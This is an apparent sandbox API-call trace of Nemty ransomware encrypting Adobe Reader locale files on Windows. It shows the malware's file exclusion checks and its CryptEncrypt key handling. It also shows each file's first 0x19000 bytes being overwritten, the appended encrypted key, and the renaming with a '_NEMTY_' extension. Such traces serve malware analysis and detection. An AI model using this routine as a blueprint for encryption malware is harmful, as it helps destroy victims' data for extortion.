[0174.286] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="rsa") returned -1 [0174.286] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="NTDETECT.COM") returned 1 [0174.286] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="ntldr") returned 1 [0174.286] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="MSDOS.SYS") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="IO.SYS") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="boot.ini") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="boot.ini") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="ntuser.dat") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="desktop.ini") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="CONFIG.SYS") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="RECYCLER") returned -1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="bootmgr") returned 1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="programdata") returned -1 [0174.287] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="appdata") returned 1 [0174.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CZE", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.287] Sleep (dwMilliseconds=0x5) [0174.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b892790, dwHighDateTime=0x1d561e8)) [0174.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b892790, dwHighDateTime=0x1d561e8)) [0174.298] GetLastError () returned 0x0 [0174.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.298] GetLastError () returned 0x0 [0174.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.299] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.299] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.299] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.299] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="UPVrBR/Q2DccXrv3XqYAjIUICXCAPMT7GIGugLP7Rf3LA/jEgE5v5lDi0xKQy0Pf\r\ncEVjxTzEPIiQo2T4RNPSH7Eb2hBuvU/joHuwsXbl+2kNgnPAh7eGK95SCILok3Ar\r\n49QhLZ5FrnuPZAyfUvJ6YGgRvAtqWswxEX/W6jbgeP4mPicRSRxMiTPMRAFDcvSD\r\nMKum5uIdREdxDxa94+l09PY4caqOYNEotlI3FLFOwVCght6hKuhFxQJ6sf8oybUA\r\nvbklM7kygct/n6c9B2fg5/4R9se9qDo9qM+BIv1HSTt+kZR4Gv6vKdxGS652VuMh\r\n7lRgMNiT8yY+21DXpXTQhg==\r\n", pcchString=0x653e5dc) returned 1 [0174.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.299] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\PPKLite.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ppklite.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.299] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=512000) returned 1 [0174.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.299] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.299] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.308] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.308] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.308] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=512000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d000 [0174.309] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.309] CloseHandle (hObject=0x2e8) returned 1 [0174.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.310] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\PPKLite.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ppklite.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\PPKLite.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ppklite.cze._nemty_kgobjgd_")) returned 1 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.310] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807c95c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.CZE", cAlternateFileName="")) returned 1 [0174.310] lstrcmpiW (lpString1="RdLang32.CZE", lpString2=".") returned 1 [0174.310] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="..") returned 1 [0174.310] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="...") returned 1 [0174.310] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="windows") returned -1 [0174.310] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.310] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="rsa") returned -1 [0174.310] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="NTDETECT.COM") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="ntldr") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="MSDOS.SYS") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="IO.SYS") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="boot.ini") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="boot.ini") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="ntuser.dat") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="desktop.ini") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="CONFIG.SYS") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="RECYCLER") returned -1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="bootmgr") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="programdata") returned 1 [0174.311] lstrcmpiW (lpString1="RdLang32.CZE", lpString2="appdata") returned 1 [0174.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.311] Sleep (dwMilliseconds=0x5) [0174.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b8b88f0, dwHighDateTime=0x1d561e8)) [0174.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b8b88f0, dwHighDateTime=0x1d561e8)) [0174.312] GetLastError () returned 0x0 [0174.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.312] GetLastError () returned 0x0 [0174.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.312] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.312] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.312] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.313] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="XZrbPIdwrsHQs0wRoS4LuvfBqStapAsvJRdyBNSHqHvA+Uy58GC8WiQUdzysOcAr\r\nSP33kSmm3tAbj6av2lPox1ZQcUUFSHkGwMHDcINm8emayFXdVktVjoSaxdkOll4d\r\nBvbwuegR/gaDfPHbjLjHaj7AF/xhcTtpmEEtzzRZAy61PkvQH6C0VziF7nxhrFDa\r\nkfGGqt46BiLc/RgBvfaZFytF3fwNYXRcI0EpEgFhKIA1VaEsKC8vR1/QicZlEiI2\r\n4pYmOuKW6gFwtvifUKNCoCquKaQm7T5/dJRVDeMLPEpVZHDZ4ko5gkdAUjbMSB9Q\r\ncNEdl1HsFkZXD6TKW8y8JQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\RdLang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\rdlang32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.313] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1331200) returned 1 [0174.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.313] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.313] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.323] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.323] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.323] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1331200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145000 [0174.323] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.324] CloseHandle (hObject=0x2e8) returned 1 [0174.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.324] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\RdLang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\rdlang32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\RdLang32.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\rdlang32.cze._nemty_kgobjgd_")) returned 1 [0174.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: 